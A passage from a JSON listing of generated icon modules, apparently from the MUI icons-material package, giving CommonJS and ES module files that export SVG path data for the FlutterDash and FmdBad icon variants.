.97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}), 'FlutterDashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDashOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 .97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}), 'FlutterDashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDashRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 .97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}), 'FlutterDashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDashRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 .97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}), 'FlutterDashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDashSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 .97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}), 'FlutterDashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDashSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 .97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}), 'FlutterDashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDashTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 .97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}, \"1\")], 'FlutterDashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlutterDashTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.07 11.7c.29-.39.81-.56 1.27-.37.17.07.32.18.43.33.22.28.25.59.22.85-.05.33-.25.63-.54.79 0 0-4.87 2.95-5.07 2.69s3.69-4.29 3.69-4.29M22 10c0 2.5-1 3-1.5 3-.23 0-.44-.1-.62-.26-.48 3.32-2.36 5.31-5.33 5.99.11.44.48.77.95.77h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.78-.16-1.39-.78-1.55-1.56-.49.06-1 .1-1.54.1-.88 0-1.7-.09-2.45-.25-.02.08-.05.16-.05.25 0 .55.45 1 1 1h.58c.22 0 .41.15.48.36.17.52.66 1.02 1.02 1.32.25.21.24.59-.03.78-.34.24-.9.49-1.79.53-.18.01-.35-.07-.45-.22-.13-.2-.31-.56-.31-1.01 0-.3.04-.57.09-.8-.9-.19-1.59-1-1.59-1.96 0-.18.03-.36.08-.53-2.46-.86-4.03-2.78-4.46-5.74-.18.17-.38.27-.62.27C3 13 2 12.5 2 10c0-2.27 1.7-4.5 3-4.5.43 0 .49.49.5.85 1.28-1.78 3.26-3.02 5.55-3.29.2-.96 1.08-1.56 1.95-1.56v1s.33-.5 1-.5 1 .5 1 .5c-.49 0-.85.35-.96.77 1.82.48 3.39 1.59 4.46 3.08.01-.36.07-.85.5-.85 1.3 0 3 2.23 3 4.5M5 11c0 .81.1 1.53.25 2.21.18-.69.46-1.33.83-1.92-.21-.47-.34-.99-.34-1.54C5.75 7.68 7.43 6 9.5 6c.96 0 1.84.37 2.5.97.66-.6 1.54-.97 2.5-.97 2.07 0 3.75 1.68 3.75 3.75 0 .55-.12 1.07-.34 1.54.37.59.66 1.24.84 1.94.15-.68.25-1.41.25-2.23 0-3.86-3.14-7-7-7s-7 3.14-7 7m12.98 4.29c0-.1.02-.19.02-.29 0-1.01-.26-1.95-.7-2.78-.69.78-1.68 1.28-2.8 1.28-.27 0-.54-.03-.79-.09.14-.23.23-.49.27-.77.01-.07.01-.13.02-.19.17.03.33.05.5.05 1.52 0 2.75-1.23 2.75-2.75S16.02 7 14.5 7c-.67 0-1.32.25-1.83.72l-.67.6-.67-.6C10.82 7.25 10.17 7 9.5 7 7.98 7 6.75 8.23 6.75 9.75c0 1.34.96 2.46 2.23 2.7l-.76.83c-.6-.22-1.12-.59-1.53-1.05C6.26 13.06 6 14 6 15c0 .08.01.15.01.24C7.13 17.06 9.14 18 12 18c2.88 0 4.88-.91 5.98-2.71M16 9.75c0 .97-.67 1.75-1.5 1.75S13 10.72 13 9.75 13.67 8 14.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38M11 9.75c0 .97-.67 1.75-1.5 1.75S8 10.72 8 9.75 8.67 8 9.5 8s1.5.78 1.5 1.75m-.75-.87c0-.21-.17-.38-.38-.38s-.37.17-.37.38.17.38.38.38.37-.18.37-.38\"\n}, \"1\")], 'FlutterDashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBad.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m1 13h-2v-2h2zm0-4h-2V6h2z\"\n}), 'FmdBad');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBad.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m1 13h-2v-2h2zm0-4h-2V6h2z\"\n}), 'FmdBad');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 17.33c-4.05-3.7-6-6.79-6-9.14C6 6.57 8.65 4 12 4s6 2.57 6 6.2c0 2.34-1.95 5.44-6 9.13\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6h2v5h-2zm0 7h2v2h-2z\"\n}, \"1\")], 'FmdBadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2m0 17.33c-4.05-3.7-6-6.79-6-9.14C6 6.57 8.65 4 12 4s6 2.57 6 6.2c0 2.34-1.95 5.44-6 9.13\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6h2v5h-2zm0 7h2v2h-2z\"\n}, \"1\")], 'FmdBadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FmdBadRounded.js",
